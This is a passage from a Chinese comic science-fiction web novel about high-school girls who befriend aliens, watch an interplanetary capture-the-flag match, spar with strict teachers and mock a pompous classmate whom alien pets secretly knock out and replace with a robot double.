弃首的脸颊贴着他的鬓角,两个人搂着彼此又蹦又笑,乱七八糟乒乒乓乓地敲了一通对方的背,笑到双双脱力差点瘫倒在地上。
“你冰死了!”律易棋评价。
“我订的包厢怎么样!”弃首没理他,转而把肉串塞到他手里,“你和那几个爬行文明的朋友喜欢吗!”
律易棋竖起大拇指:“好!我好久没来这么多人的地方了。”
“下次拉你去地下酒吧蹦迪!”
两个人碰了个杯,视角交汇的一瞬间,忍不住又笑起来。
“掮木不行了吧?”弃首问,“地球比婆旦舒服多了是不是?”
“掮木不行了。”律易棋承认,“几乎完蛋了。地球和别的行星没有什么区别,温度略高一点,科技落后一点。人还是那样。”
弃首倒在沙发里:“人总是那样。”
“刻石人怎么样?”
“也就那样吧。”弃首晃着杯子,忽然说,“你那几个朋友有空想文明的遗物,是真的吗?”
“真的。她们管那个叫呼叫中心。不过她们应该不会拿它做什么坏事。”律易棋强调,“她们比参军还累,能干的最大的坏事就是半夜偷偷去把她们校长打一顿。”
“好。”弃首活动了一下轻型合金制作的身躯,“我调到太阳系了,要是有麻烦我立刻帮忙。”
律易棋猛地转过头:“你调过来了?这么好!”
弃首嗤笑:“别高兴得太早。”她摇摇手指,“你猜谁也调过来了?”
律易棋观察着她的表情,脸色慢慢变了:“不会是他吧……”
“就是他。”弃首说,“你完了,我也完了。他完全不给我好脸色!你记得藏深一点,被他发现,他就会龙卷风摧毁小卖部。”
律易棋说顺其自然,逃避也不是办法。弃首挥挥手说随便你,反正不是我被他骂。
“你说的那个救了你的地球女生有些眉目了。”弃首翘起二郎腿,“你还记得偃吗?”
“和平联合那个研究意义有什么意义的疯教授?”
“就是他。”弃首嘿嘿笑,“他不是专门创造低等智能体,让它们去贯彻某个信念,从而寻找人生的意义吗?”
“昂,所以呢?”
“有几个智能体投放到了地球,似乎有个以‘爱’为底层程序的,还有几个我不太记得,但它们可能性不太高。相比之下,‘小爱同学’很可能会为了贯彻爱而出手救你。”
律易棋歪头思考了一阵:“那它为什么要离开地球?偃要回收它不是轻而易举吗?”
“那我可就不知道了。”弃首晃了晃手里的饮料瓶,“说不定是智能体出现问题了呢?”
弃首的身体已经是机械,不需要进食和喝水,但真喝点也不会怎么样。她喝着毫无味道的饮料,像存档一样,把这段时间没说的话全存进两个人的对话里。律易棋见缝插针地把自己的事一股脑也倒进去。于是分开期间满满当当的记忆互相交换到彼此的脑海里,伴随着这个夜晚的笑声。
在午夜之前,她便起身离开。
“不留下来跟她们打个招呼?”律易棋问,“你订的包厢,结果你自己几乎没进来过。”
“不用了,我和她们早晚会见面的。”弃首拿起沙发上的风衣,做了一个和律易棋一模一样的手势——左手掌心朝上,右手握拳,放在左手手掌里:
“有事记得找我。”她笑吟吟地说,“我和你是一边的。”
“我知道。”律易棋回以相同的手势,“咱俩哪次不是一边的。”
呼叫中心的们再度开启,新年到来了,颜阎几人哈欠连天地回到包厢里。而弃首的身影,已经轻轻从门口离开了。
36.肖似大力神
康烁影左手饼干盒,右手酸奶箱。大包小包地把年货搬进来:“战况如何?”
“没动静。”律易棋说,“但是场外有情况。怪盗来过了。”
“什么玩意儿?”三个人都迷惑地皱起脸,“这里是什么片场?柯南还是p5r?”
律易棋把辚辚的情况跟她们解释了。三个人看着网上那些模糊的视频,辚辚在里面像是一道从天而降的白色闪电。
“好哇好哇。”刘征兰辛灾乐祸,“我最爱看这种大手笔的安保被不明人士陡然击破的荒诞故事了。”
“别光问我,你们年夜饭吃得怎么样?”
看着三个人阴沉下来的脸色,律易棋自问自答:“看来不怎么样。”
“要是真的‘怎么样’,我们也不会天天往呼叫中心跑。”颜阎嘻嘻,“谁生活幸福还成天参与非日常事件啊。”
“好了你别说了。”律易棋让她打住,“有点太悲惨了。”
三个人都不想出门了,于是窝在呼叫中心的沙发和地毯上睡了一觉。睡倒凌晨,律易棋把她们摇醒:“醒醒,醒醒,开打了!”
两队在河边短兵相接,兵器的寒光像是地上的冷焰火。
目前藤发人还剩下五人,四个近战手和一个弓手,智械是三个近战手和两个弓手。但智械有一个选手的体型异常高大,像一个塔吊。不管是淘汰还是击败它都很困难。
而且,原本藏匿那面旗子的智械身躯已经损坏,旗子被放在了塔吊的钢筋结构里。
身材纤细的藤发人卷着头发:“两个弓手?”
她旁边的男性手里捏着细细的一条银线:“哎呀……我们四个近战手呢……”
智械方有一位,和体育场里给人领路的小方片长得一样。它扭动着薄薄的躯干:“怎么样?要不要投降?”
男性捂着嘴“诶”了一声:“才不要!”
话音刚落,纤细女人如同离弦的箭一般窜向方片智械,手里的军刀竖直向前。方片智械横刀来挡,不想刃尖到了眼前,女人忽然扎腿扭身,变刺为挑,生生将它的刀挑高了些许,便撤刀又刺。
智械到底算力高,早料到她后面几步,干脆就着她这一挑,把自己的腿折到身下,翻身折作一只飞盘旋到空中,藤发人的刀下只留下两只细细的合金断肢。
二者风驰电掣的交手之间,另外几人也缠斗在一处。塔吊般高的智械仅用身躯就拦住了两名藤发人,履带上的凹槽里冒出一圈高速旋转的刀片。刀片削断粗壮的树干,履带碾过地面的起伏,二人腾挪躲闪,只来得及逃离刀刃的范围,若是趴下又会被履带碾压,一时只有躲避的份。
两方交战许久,却不见枪声响起,塔吊智械感觉不对。抽空往旁边的密林里望去,对偏振光敏感的感光系统里,一个壮硕的身影无声无息地接近它,刀在手里抡圆了,劈头盖脸落下来。塔吊高速旋转的刀片居然被她切了下来。
“耶?”康烁影踮脚趴在栏杆上,“她不是被淘汰了吗?”
女毛伊——或者说火玫瑰,轻巧地挽了个刀花。
方片智械问出了一样的话,火玫瑰绕着头发:“真的吗?被淘汰的是我,还是你们的弓手,你们看仔细了吗?”
没有枪声,那么弓手应该是被淘汰了。可是火玫瑰又是怎么出现在场内的?
塔吊的刀片缺了一片,但不影响旗帜仍然悬在高高的空中。
火玫瑰笑嘻嘻:“哎呀,你们的旗帜就在这里,我们的旗帜还没被找到呢。”
方片智械模仿她的语气:“哎呀,你们都找不到自己的旗帜,难道不害怕它被我们拿走吗?”
“谁知道呢?”火玫瑰说,“至少现在,你们应该害怕自己的旗帜忽然被我们拿走。”
“那你们要怎么拿呢?爬上去吗?”身上破了个洞的智械也学着藤发人的怪声怪调,“你的体型似乎不太适合攀爬呀……”
忽然它意识到了什么,一把抄起方片智械扔上高空。一只鸟灵活地躲过这一下,悄然飞回树荫里。
“你们换了身体。”塔吊智械语气沉沉,“我说怎么没有听到你们的弓手开枪。”
“什么?什么意思?”场外的刘征兰急得跺脚,“能不能不要讲谜语!”
律易棋想做场外解释,但聪慧的颜阎已经懂了,她跃跃欲试地举手作答:“让我说,让我说。”
律易棋伸手示意:“请。不对的我再补充。”
“藤发人的本体是植物,人类的身体对于它……她……呃,伊们来说,就像一件衣服。淘汰的藤发人是葛,但是这个人类的身体是火玫瑰常用的,这些都是为了混淆智械的视听,让它们以为自己把擅长近战的火玫瑰淘汰了。实际上火玫瑰换上了这件‘衣服’,并且暗中干掉了两个智械的弓手。”
“完全正确。”律易棋打了个响指,“除此之外还有一件事,看到那只鸟了吗?我对偏振光更敏感,能清晰地察觉它的轨迹。它身上也有植物寄生的痕迹,那只鸟是换了‘衣服’的藤发人弓手。藤发人完全放弃了弓手,变成了纯粹的近身肉搏。”
火玫瑰脸色一变,在方片智械飞起的一瞬间,她便飞身扑向破洞的铁皮疙瘩。铁皮疙瘩意识到上次和自己交锋的是控制躯体不太熟练的葛,火玫瑰本人必然更强。果不其然,她一脚踹上去,居然把它的身体捣出一个明显的凹陷。
只一击,它就被淘汰了。
然而此时,方片智械一把将蓝色旗帜塞进塔吊更深的钢筋里,整个人飞旋向下,一头钻进旁边的河里。藤发人全都大惊,丢开塔吊去追它,连敲击塔吊来辅助寄生鸟寻位的人都愣了一瞬间。
随后火玫瑰高喝:“追击!追上它!”
和方片智械采用同一视角的观众们会发现,它平稳、全面、360度的视线里,水下的空间如同一个玻璃房间。在它视线的远方,玻璃房间底层的沙石里,一面橙色的旗帜在轻风般的水波里飘荡。
藤发人不担心它们发现旗帜有两种可能:一是伊们在赌它们发现不了自己的旗帜。二是伊们找到了旗帜并且它在视线之内,可以确定智械是否发现旗帜。
根据运算和往期比赛的资料分析,绿丝绦的战术更谨慎,更偏向后者。但场内没有响起发现旗帜的提示音,所以绿丝绦的队员只是“看到
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”了旗帜,而没有“藏起”旗帜。说明旗帜本身就在一个很隐蔽,隐蔽到无需藏匿的地方。
树荫和地底太常规了,被动物叼走又不在她们的监视下。除此之外,把旗帜丢出比赛范围是违反规则的,动物很容易触犯这个规则。
有一个地方,近,隐蔽,可以固定旗帜。
那有没有可能,在水下呢?
事实证明,它赌对了。
方片智械扎进深水中,为了减少水的阻力,它干脆用薄的那一面在水中翻滚。同样扎进河里的几个藤发人嘴里冒出一大堆泡泡,疑似在咕噜咕噜地骂人。
那个纤细的女性企图在岸上用刀柄拦截它。结果河流太宽阔,伊无论如何都够不到河中央翻滚的智械。
在智械的足部碰到橙色旗帜之前,藤发鸟也飞到了塔吊上,冒着被伸缩结构压扁的风险,伸出喙去啄那面旗帜的布料。
“叮————”
沙盘里的画面中止了。
河流里橘色的旗帜和塔吊上蓝色的旗帜定格在飞扬的一瞬间。
双方都碰到了旗帜,下面只需要比较时间的先后。
体育场里的观众屏气凝神,等待结果出现的一瞬间。
一秒,两秒,三秒……
——橘色铺满了整个体育馆。
来自壤的藤发人战队“绿丝绦”获胜了。
“耶!!!”
比赛结束的那一刻,所以勇士都“跳”到了场馆。绿丝绦的勇士四处挥手,向各方致敬。而队名很长的智械都沉默不语地搂在一块儿,变成无言的铁疙瘩。
场馆中的藤发人欢呼雀跃,无数的花环、鲜果、叶片和棉絮被抛向体育场地面上的沙盘。包厢的露台上趴着好多蝴蝶,律易棋打开了玻璃,蝴蝶“呼”地涌进屋内,落在藤发人送给康烁影的那捧花上。
康烁影产生了一种莫名的荣誉感,她一把抱起那捧花,从阳台上把它扔了出去。落下的花束像一只鲜艳的水母,台下的人争先恐后地去接,试图分享这一刻的喜悦。
最后这捧花被一只钢铁的臂膀捉下,昨天见过的帅姐姐大笑着朝她们挥手:“多谢你们的花————!”
智械可就不大高兴了。它们一股脑拥向沙盘前,大喊着“黑幕”,“作弊”之类的词,讲解比赛的大喇叭也被它们气势汹汹地围起来,被要求解释交换身体这件事的合理性。但这种战术在历史上曾经发生过两次,一直是合规的。只是太冒险,所以没什么人使用。
律易棋说,幸好输的是智械。换一个种族可能已经开始打架了。
虽然场上的情绪差距很大,但唯一公平的是,谁也不会拿到奖杯了。毕竟兰卡之石已经被偷走了,而场上的勇士们都错过了这个八卦。
随着斩将夺旗的落幕,寒假也快要结束了。
地球让大家都很不适应。律易棋成天在小店里转着手腕模仿舞刀弄枪的姿势,康烁影自始至终都没能从那个木杯里听到外星人的声音,颜阎和刘征兰在这个寒假里找到了崭新的赚钱方式。
遥远的星空彼端,有人向这颗遥远、寂寞的星球,落下淡淡的一瞥。
37.后现代
假期结束了,灾难降临了。学校开学了,学生不想活了。
“这教室怎么一股人味儿啊?”物理老师捏着鼻子走进来,“快开窗透透气。”
开学第一天,尚在假期的余温里不愿醒来的学生们没动静。
“哎呀窗户关那么死,教室里闷成这样能不困吗?吹吹风就好了。”物理老师主动上前打开了讲台旁的那扇窗户,“好多了吧?”
整个教室的学生都发出了痛苦的呻/吟,从前到后过电一般打起了寒战。
“老师……”公西华有气无力地举起手,“我感冒了,能不能把窗户关上……”
“那更要让风吹吹,不然全班和你闷在一块儿都得感冒。”物理老师指挥着所有人拉窗帘开窗户,“以后都开着,防止你们睡觉。”
大家敢怒不敢言。
物理老师路过第二扇窗户前,满意地看着同学给窗帘打的结,顺便扯下颜阎卫衣上的帽子:“颜阎,把帽子摘下来,上课了。”
“我知道。”颜阎无精打采地把帽子立回去,“我冷,我得戴。”
“上课不许带帽子。”物理老师又把她的帽子扯回去,“尊重老师。”
“我懂。我很尊敬您。”颜阎的帽子顽强地立回去,“但我真的冷。”
物理老师拽着她的帽子:“就这么一点苦都吃不了,以后走上社会你要吃大亏的。”
“那就让我吃吧。”颜阎扯了几下,没扯动。她不想跟老师拉扯力量,无神的眼睛抬起来看着他,然后咧开嘴笑了笑。
周围的人如临大敌:坏了!颜阎牌冷笑!她又要当反骨仔了!
没想到颜阎没有口出狂言,也没有上来就和老师相扑。她再次蔫哒哒地缩了回去。物理老师满意地点点头,赶紧离开了这个狂风吹拂的窗口。
就在他站上讲台的一刹那,颜阎的帽子再次站上她头顶,气宇轩昂地鼓成一个妙脆角。
物理老师冷酷地合上书:“怎么全班都不冷就你冷?”
颜阎打着哆嗦:“不知道啊,可能是我比较弱小,四肢末梢冰凉吧。”
“你把帽子放下来。”
颜阎重复:“我冷。”
物理老师夹着教科书,夺门而出。风里飘来一句:“这课上不下去了!”
颜阎左看看右看看:“你们还不关窗户啊?”
没人敢动。
颜阎哆哆嗦嗦地站起来,把自己这边的窗户关上了。
公西华暗笑。虽然另外两扇窗户依然让教室里温度骤降,但好歹赶跑了物理老师一阵。她把擤鼻涕的餐巾纸扔进垃圾桶的纸馄饨堆里,心安理得睡下了。
颜阎的前桌转过头,责备的眼神上上下下扫视了颜阎一圈,又转了回去,用并不怎么小的声音跟隔着过道的女生搭话:“又浪费上课时间了,有人不学我还学呢。”
颜阎语气怂怂语言勇勇:“我觉得我怕冷这件事很正当。我也没有让他关窗户,只是戴个帽子都不行,这里是学校还是集中营啊?你想上课,那你去把他找回来嘛。”
物理老师最后找来了孔丘评理。颜阎是老牌刺头,印象分极低,但她又的确挺怕冷的,孔丘摸了摸她的手,被冷得往后跳了一步。
最后颜阎被孔丘带去办公室暖身子,其实就是剥夺上课权利。其他人继续在北风呼啸中上课。
虽然颜阎经常讨厌学校的老师,但她和刘征兰的观点一致:这个学校的老师都是真心想要学生好的老派教师,但又经常会在学生身上发泄一些权力。这种矛盾,令她不能真正恨上任何人。
温暖、馨香、没开窗户的教室办公室里,老师们纷纷慈爱地看向颜阎:“哟,又来啦?”
颜阎甜滋滋地跟每个人问好:“老师好老师好,我又来啦!”
她还挺骄傲的。老师们看热闹的心更浓厚了,纷纷上来问她怎么又来了,孔丘趁机诉苦,再次向其他人展示颜阎的出格。
颜阎不能坐下,百无聊赖,于是开始四处搜寻。幸好办公室里学生除了颜阎,还有数学老师的得意门生卫絮。
卫絮的数学成绩不及刘征兰等人,但论认真和努力,绝对是上等中的上等。
犹记得高一下学期的一次月考,她的成绩超过了刘征兰三分,全班乃至刘征兰都为她高兴,因为:“就该她的嘛!”
二班和四班共用一套师资,除了双方班主任的科目是独一无二的老师,其他老师都是两个重点班同时教。数学老师天天在四班夸卫絮,听得大家都难受了。卫絮也因此被一群不熟的同学微妙地厌烦着。
“噗斯,噗斯噗斯。”颜阎打暗号,“卫絮,卫絮,在干嘛!”
卫絮抬头看了她一眼,撕了一小张草稿纸写道:“批作业。”
颜阎往她那里凑了凑,脸上带笑目不斜视地看着孔丘,纹丝不动的嘴唇里挤出一段腹语:“啥课啊你就来批作业。”
“我们班生物和语文换了,我选的地理,这节课自习。”
“那你可就好了。”颜阎酸溜溜,“我因为开窗户太冷戴上帽子,然后就被赶出来了。”
“这么惨?”
“昂。”
卫絮也盯着那群老师,趁她们不注意,迅雷不及掩耳把兜里的太妃糖塞进她手里:“安慰你一下。”
颜阎眨眨眼,感动到声音颤抖:“卫女士,我们是异父异母的亲姐妹!”
“你别逗我笑!一会儿要被发现了!”
一会儿过后,两人的偷偷摸摸没被发现,反而是跑操铃声响了起来。
颜阎被孔丘赶下去跑操,附带一句:“跑跑就热乎了。”而卫絮仍然在暖乎乎的办公室里批作业,爽极。
跑操痛苦无比,学校对跑操不要求前胸贴后背,但步伐一致和队形整齐是必要的。但凡慢一点就会被后面的人踩死。胸闷气短头痛脑热的可以请假,但请假了就要被拎到操场中央示众。
跑到第三圈,已经没几个人能完整说话了,每个人都直翻白眼。
二班队伍里,不停扶眼镜的刘征兰被康烁影拍了拍肩膀:“你看楼上……呼……那个……是谁啊?”
刘征兰翻着白眼看了一眼,视线太晃动,没认出来。
在二楼,那应该是她们年级的。她站在正对着操场的铁栏杆前看了一会儿,身影嵌在那儿,像一枚阳刻印章。发现高二的队伍有些骚动,便扭身走进了教室。
“是我们班的!”班里有个男生喊,“是卫絮!”
“又是她。”铁塔抱怨。
宋悦馨也怪不乐意的:“怎么她老是有特权啊?跑操不来,作业少写,考那么点分还天天被夸。”
队伍里嘘声一片,本来在操场中心和其他老师聊天的周天子赶忙过来维持秩序。
已经跑完全程可以回教室的颜阎蹦蹦跳跳地从人山人海的楼梯里撤出来,落到康烁影身边。
康烁影挖苦她:“开学第一天就站办公室的刺头女士,你好哇。”
颜阎挺胸抬头:“这回是我妈妈同意的。我跟我妈说了老师总开窗,她就让我戴帽子。我说老师会骂,她说那也不能冻死。所以我就戴上了。”
康烁影怒视她:“你年夜饭不是不怎么样吗!”
“亲戚家不怎么样。但我妈总体而言还是很好的。早很你说了我家庭幸福你不信。”
刘征兰也偷偷挤到这边:“卫絮怎么在楼上你知道吗?”
“这回我真知道。”颜阎难得有用,“她批卷子。”
她的话让队伍里抱怨声更响。周天子似有所觉,从另一边绕过来寻找声音来源,颜阎赶紧装作路过逃走了。
卫絮的社会评价再创新低,直逼狗腿子宋悦馨和刺头颜阎。颜阎说,我风评没这么差吧。刘征兰表示,由于你在男生里评价特别低,所以平均来说你还更差一点。
周天子实在搞不明白班级到底是因为什么才乱哄哄,只留下一顿批评就放了他们。一大队人伴随着上课铃声精疲力竭地爬上楼梯。
许多声音交杂的楼道里,有个人亢奋地坐在扶手上,挥舞手臂高谈阔论:“向特权阶级献媚的人已经脱离了人民群众,她背叛了自己的阶级,为了一点蝇头小利成为了特权阶级的走狗,享受着远高于普通公民的待遇和特权!我们应该严厉抨击这种行为……”
颜阎拉着刘征兰,企图让她把自己拖上二楼。听到这人说话都没力气笑,只轻轻问:“这谁啊?”
“奥巴拿拿。”刘征兰目不斜视地从他身边经过,“准备室里差点被游离体吞掉的那个。这么有辨识度的语言风格你都认不出来?”
“我对不上他名字,你说外号就清晰多了。”颜阎回头看了他一眼,提高了声音,“想不到有人能把背后说人坏话美化成这样!”
奥巴拿拿把眼神转过来,看到是颜阎,他居然眉开眼笑:“阎,是你!”
“呕……”旁边几个女生作呕吐状,同情地看着颜阎。
颜阎常年和老师、领导、恶心人的男同学斗智斗勇,是广为人知的辩才。奥巴拿拿一直单方面觉得她和自己棋
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逢对手。
颜阎推了刘征兰一把,让她赶紧回教室,省得惹一身骚:“是我,怎么了?”
“你难道不觉得她拥有特权吗!”
“有啊。那又怎么样?如果这都算是特权阶级,那你给政治老师批作业不就算是阶级晋升了?”
“我是造福同学,而且我从来都是在课间批的。”
“你说你在课间批的你就是啦?你肯定捡对自己好的说啊。”
“我们班同学都能证明。”
颜阎张开双臂,向他展示早就空空如也的走廊:“谁给你证明?谁理你啊!你害得我都迟到了!”
“况且。”颜阎抓住了一开始的漏洞,“你的意思是老师是特权阶级?你敢当着老师的面说吗?”
奥巴拿拿仍理直气壮:“这是事实。就算是当着老师的面我也会说。但老师们不滥用这份特权,而是拿它造福学生,传授知识,摒弃了阶级的压迫性。真正要谴责的是制度,而不是老师。”
“你去跟老师说他们是特权阶级,就现在,你不说就是两面三刀。”
奥巴拿拿没动静。
颜阎乐了:“不去了?你也就敢语言霸凌一下同学了。”
她扬长而去,以冲刺的速度闯进教室。抢在老师开口前把所有话一股脑全倒出来:“报告!老师,我错了,我不该迟到。我被隔壁班的神经病缠住了,请让我进去吧。”
老师无奈,让她落座。由于她社交地位的低下,全班竟然没有一个人找她说话。她满肚子吐槽没人说,只能下课后去二班摇来刘征兰:“奥巴拿拿没找卫絮麻烦吧?”
“他也就敢背后说坏话。”刘征兰乐呵呵,“他还说康烁影是小布尔乔亚,柳令全是没有大局观不关注阶级压迫的□□师,张晓怡是和资产阶级决裂不彻底的无产阶级,我因为贫穷丑陋不爱说话逃过一劫。”
“那我呢?”
“他说不过你,但你又确实挺公正的。”刘征兰更乐了,“他说你是生错性别的无产阶级斗士。”
“哎哟……”颜阎的脸皱成一团,“和他说话就跟留了案底一样。”
“别说,你还真避免不了跟他说话。”
“为啥?”
精神小妹三人组不知道从哪里冒出来,把她俩围在中间,亲切地搂住她俩的肩膀:“全世界都知道了,只有你还没意识到。因为我们的无产阶级斗士,爱上了四班的资产阶级敌人。”
“谁啊?”
“还能是谁?”柳令全怪声怪调,“当然是,当然是,当然是————”
“美丽,可爱,娴静,温柔,贤妻良母的————”
“他每次放学都会莫名其妙缠着人家讨论政治题的————”
“公西华!”
“呕。”五人一齐发出干呕。
奥巴拿拿这个外号是由两个词根拼接而来。他本人长得黑瘦矮小,像猴,大家都觉得他应该爱吃香蕉,所以叫他不拿拿。但他笑起来时,脸上的褶子又像美国某位知名总统,于是两个外号合二为一,成为了“奥巴拿拿”。
而奥巴拿拿的爱好有三:革命、辩论、高个美女。
全年级所有身高超过一米七的女生都被他明恋过。宋悦馨不堪其扰,那段时间,女生们即使不喜欢她,也会尽量和她同路,保护她不被奥巴拿拿搭讪。艾珺霞在被单方面明恋三个月后,他声称二人政治观念不合感情破裂,事实上两人压根没说过几句话。隔壁班的小美女陶京当众拒绝他后被打为资产阶级敌人,简称捞女。
除此之外,年级里一些真正的精神小妹还被他造过谣。但女生们集体认为,就算女方再风评不好也不至于馋他,所以没人相信他的谣言。
谁被奥巴拿拿看上,谁的学校生活就会乌烟瘴气,苦不堪言。
“他在我们班意淫公西华好几次了,还说做春梦梦见过她,恶心。”柳令全拨弄自己的耳钉,“夏天公西华穿短裙,他在班级群里说……”
她捏起太监似的公鸭嗓:“我支持女生穿短裙,多穿,爱看。”
“谁在乎他啊。”颜阎恶心地直甩手,“我听了都觉得自己脏了。”
“对啊。”张晓怡看着自己的指甲,漫不经心地嗤笑,“他夏天还在恶心唐珺霞呢,结果一看见公西华就走不动道了。”
大家都把他的事当个笑话看。但真落到关系好的人身上,这笑话可就不太好笑了。
于是最后的结语是:“那有啥办法,又不能杀了他。等他哪天发癫咱们再骂他呗。”
38.人类高达
奥巴拿拿经常对世界感到痛心疾首。
太多觉悟不够的人占据高位,底层人的革命意志又不够坚定、与资产阶级的决裂不够彻底。满目皆是愚昧无知的人和狡诈邪恶的制度维系者。
他对周围人的嘲笑心知肚明。但探索平等与民主的道路肯定是孤独的。他相信总有一天,这些人都会觉醒,他们会意识到自己的用心良苦。到了那一天,每个人都会信仰社会主义,每个人都会拥有幸福的生活。每个人都能住上七十平米的新房,拥有一个志同道合的美丽妻子,过上朝九晚五不加班的幸福生活。
这个年纪的男生还比较幼稚,但是对白左的厌恶,对境外思想的抵制使他和一些男同学建立了还算和睦的友情。而这个年纪的女生,已经被西方思想腐蚀了。
唯二算得上思考者的女性同志,也只有刘征兰和颜阎。刘征兰高深莫测,他相信她将会保持思想的纯洁性,坚定地站在无产阶级阵营。而颜阎,唉,天生的辩才,他觉得她只是对女性主义思潮的理解不够深入,只要她理解某个已经解体的阵营那先进的女性主义思想,她一定也会加入他们。
不说了,快睡觉了,他要批判一下被经济体制压迫而堕落的擦边女,然后再幻想一下如何用纯洁的思想感化四班的公西华。
他一边叹息着觉醒者的孤独,一边在短视频软件里用批判的眼神审视人们的思想,沉醉在红色世界里。完全忽视了窗户上传来的窸窸窣窣声。
等他注意到时已经晚了。他的头被坚硬的东西袭击,眼前浮现出了无数幻影:手风琴、喀秋莎、芭蕾舞女演员的裙底和美好的未来。他不顾头顶的疼痛,陶醉地向那片乌托邦伸出手。
“哈!”大快人心的一脚再次落下,将他的乌托邦击成了满地红色药丸般的光电,随之而来的还有一句大叫,“你这是社会主义吗!你这是网左吧!!!”
奥巴拿拿没法回答,他闭上了眼睛。
在他身边,一个动作僵硬的人形缓缓升起,如果有人能看见这一幕,一定会感到惊惶。
这个神秘的人形,长得和倒地的奥巴拿拿一模一样。
开学第二天的上午结束,所有的同学都睁大了眼睛!
“奥巴拿拿受什么刺激了!”康烁影抱着头打滚,“他,他,他,他居然没喊我同志,而是正常地说你好?”
“他今天没找政治老师谈国际局势。”刘征兰目瞪口呆。
“他甚至没去找公西华的麻烦!”颜阎欢呼,“太棒了!”
“他不会有什么阴谋吧……”刘征兰严肃地盯着他的后背,“我觉得他会孤立卫絮。”
“卫絮本来就不跟男生玩儿,女生也不跟奥巴拿拿玩儿,他能掀起什么风浪?”康烁影把颜阎保温杯里的百香果汁倒进自己的透明水壶里喝了一口,然后她就又倒了半瓶,“你要是不放心,我去找男生问问。”
不同于刘征兰的冷漠和颜阎的树敌众多,康烁影在班里的地位是社交达人,和所有人都关系匪浅,能顺利地与每个人搭上话。
但全班男生里,她最信任的还是陈彦邢。
“陈彦邢!”她一下子把躲在后排偷偷打音游的人拽起来。
陈彦邢吓了一跳,赶紧点了暂停。康烁影也愣了一下,拘谨地背手后退:“打扰你了是不是?那我一会儿再来。”
“没事,都暂停了。”陈彦邢甩了甩搓得差点冒火星的手,“你有什么事?”
“你和奥巴拿拿关系如何?”
陈彦邢含含糊糊地说:“还行。”
“他和你聊得来吗?”
“不太聊得来。但他和四班男生关系不错。咱们班的都觉得他脑瘫。”
康烁影顿时笑了:“嘿嘿,我们班人都挺好的!”
“你是不是觉得他今天怪怪的?”
“你也觉得?”
陈彦邢点头:“他平时都会跟前面的女生说我肥猪,坐前面的女生会帮我骂他。但他今天没说。”
事实上,陈彦邢只是脸圆了一点,戴着一副眼镜,显得眼睛略小。
康烁影见发小受欺负,气不打一处来:“下次他欺负你,你就来找我!”
陈彦邢迟疑地抽回手:“不好吧。我找你又要被说闲话。”
“咱们那一片儿,考上高中的就咱俩,互相照应点是应该的。反正过年我们也是到一处过。”康烁影使劲拍他肩膀,“我们是一起抓蟋蟀的关系,不用跟我客气。”
陈彦邢含含糊糊地答应了。
他小时候家里太宠,上学后别人稍微欺负一下他就懵了,不敢还手不敢还嘴。这也导致他一直闷闷的,总是不正眼看人,喉咙里像是含着什么东西。
套话以康烁影怜悯的眼神收场。能证明的只有一件事,奥巴拿拿确实挺不对劲的。
比如他现在正在和铁塔深情对望。
奥巴拿拿:“四肢粗壮,毛发浓密,头发油味儿大,一看就是捕猎能力强大的优质男性!真是威武雄壮,人中龙凤!请和我□□吧!”
铁塔疯狂逃窜。但他威武雄壮的手臂被奥巴拿拿瘦猴一样的手臂牵着,居然像被金属臂钳制住了一样,动弹不得。因此他只能向四面求援:“救命啊!救命啊!有男同性恋!”
“你不愿意吗!我虽然瘦小,但是生育欲望强烈,自//慰次数能达到惊人的一天一次!而且我们的皮肤都偏黑,一定没有种族隔离!请你……啊我现在没有子宫,那算了。”
奥巴拿拿了无趣味地松开手,任由铁塔手脚并用地爬行到墙角,用野牛般的声音嚎叫:“我脏了,我脏了!”
奥巴拿拿向前一步,同学们如同涟漪般散开,以他为中心构成了一个圆,准备室一幕以奇怪的方式重现。
而他本人毫不在意,笑容满面地找到了自己的座位坐下。他的同桌死活不愿意坐他旁边,最后喜提讲台旁边的护法位。
奥巴拿拿变得正常,又不正常。
他终于不在班上大谈特谈主义和阶级,而是真的会帮“阶级敌人”捡橡皮了。他不再以纯洁革命情为由触碰女同学,而是正常地和她们保持社交距离了。他不在政治老师讲到唯心主义时,发出大声的冷哼了。他甚至会主动摸一摸流浪小动物,而不是在同学们讨论如何安置它们时,大声谈论动物保护组织的邪恶文化入侵了。
但他会时不时突然触电一样抽搐,偶尔冒出几句不明所以的动物叫声和感情不足的机械音,甚至会突然四肢失控追着人打,又在几秒后恢复正常。
虽然缺点增多了,但是优点同样不容忽视,宽容的同学们很快接纳了这个崭新的奥巴拿拿,表示知错就改才是福。
至于那些不对劲的地方……说实话没人在意。一个情绪稳定的同学比一个发神经的同学可爱多了,谁管他是癫痫还是神经病,不影响上课就行。
三人组很是纠结了一阵,她们觉得这事不对劲,疑似有外星科技作祟,但具体是什么科技还有待商议。况且,她们乐见奥巴拿拿的改变。如果奥巴拿拿本人有危险……
“抱歉。”康烁影表示,“虽然这么说有点反人类,但他死了我们都挺高兴的。”
“我当没听见。”律易棋枕着自己胳膊吹口哨,“外星人谋害地球人?不知道,没听过。”
刘征兰问他:“你不担心是其他神秘组织?”
“我不担心。”律易棋坦言,“没检测出异常气流,也没有跳格子的痕迹。如果是地球本地伪装成土著的外星人互助组织干的,那我也没什么办法,它们的行为是合法的。但我更怀疑是他本人精神有问题,建议早日就医。”
精神病就精神病吧,至少是好精神病。
缺少了奥巴拿拿的空气都清新了许多。康烁影欢乐地哼着歌,手不自觉地伸向肩膀,却摸了个空。
“你们最近谁见到飞飞了?”她问。
刘征兰和律易棋没见到,飞飞成天不摘折射影像,两人只能摸摸隐形的毛毛。颜阎更没看见,自从被扔进学校池塘后,飞飞就再也不来她班上玩了。
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不能拍摄律易棋的杂货店,于是坐在柜台上充电的球球:“我也没看见。”
“真的?那好吧,我回来再给它吃蔬菜。”
假的。
飞飞,一只小小的蜜袋鼯,正在奥巴拿拿号机器人的体内,抓耳挠腮地写政治作业。
跟拍康烁影的这些年来,它和球球共同见证了人类的多样性,如果可以的话,它们俩回去一定能做一个账号,每天鉴定网络热门人类。
而奥巴拿拿从恶心人类里脱颖而出,荣登球球最讨厌的智人男性之首。
球球的故乡是和平联合管辖下的一颗宜居行星,人类与智械混居。它也曾经经历过类似的时期,很多人以主义为名崇古,到处推行保守主义。最后这群人觉得全世界都是敌人,以自我毁灭或毁灭他人的形式搅乱社会,造成了长达二十年的混乱。
出于完全的个人情绪和侥幸心理,它和为朋友两肋插刀的飞飞一起,半夜爬上奥巴拿拿的窗台,准备把他暴揍一顿。
但智人的脆弱远超它们的想象。在它和飞飞的一人一击下,奥巴拿拿彻底不省人事,直到天亮也没有清醒。
